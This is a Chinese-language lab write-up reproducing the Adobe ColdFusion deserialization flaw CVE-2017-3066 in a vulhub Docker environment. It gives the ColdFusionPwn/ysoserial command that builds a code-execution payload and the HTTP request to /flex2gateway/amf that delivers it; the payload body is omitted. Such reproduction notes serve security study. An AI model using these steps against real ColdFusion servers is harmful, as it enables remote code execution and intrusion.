Adobe ColdFusion 反序列化漏洞（CVE-2017-3066）

声明

好好学习，天天向上

漏洞描述

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。

影响范围

Adobe ColdFusion (2016 release) Update 3及之前的版本

ColdFusion 11 Update 11及之前的版本

ColdFusion 10 Update 22及之前的版本

复现过程

这里使用11u3版本

使用vulhub

/app/vulhub-master/coldfusion/CVE-2017-3066

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问

http://192.168.239.129:8500/CFIDE/administrator/index.cfm

输入密码vulhub，即可成功安装Adobe ColdFusion。

工具

https://github.com/codewhitesec/ColdFusionPwn/releases

工具放到kali下，yso也一并拿来，生成payload

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-30099844c6-1.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/cve-2017-3066' poc.ser

抓包，发送如下数据包

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

注意payload的内容直接打开文件复制粘贴是不行的，得在burp中右键上传

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down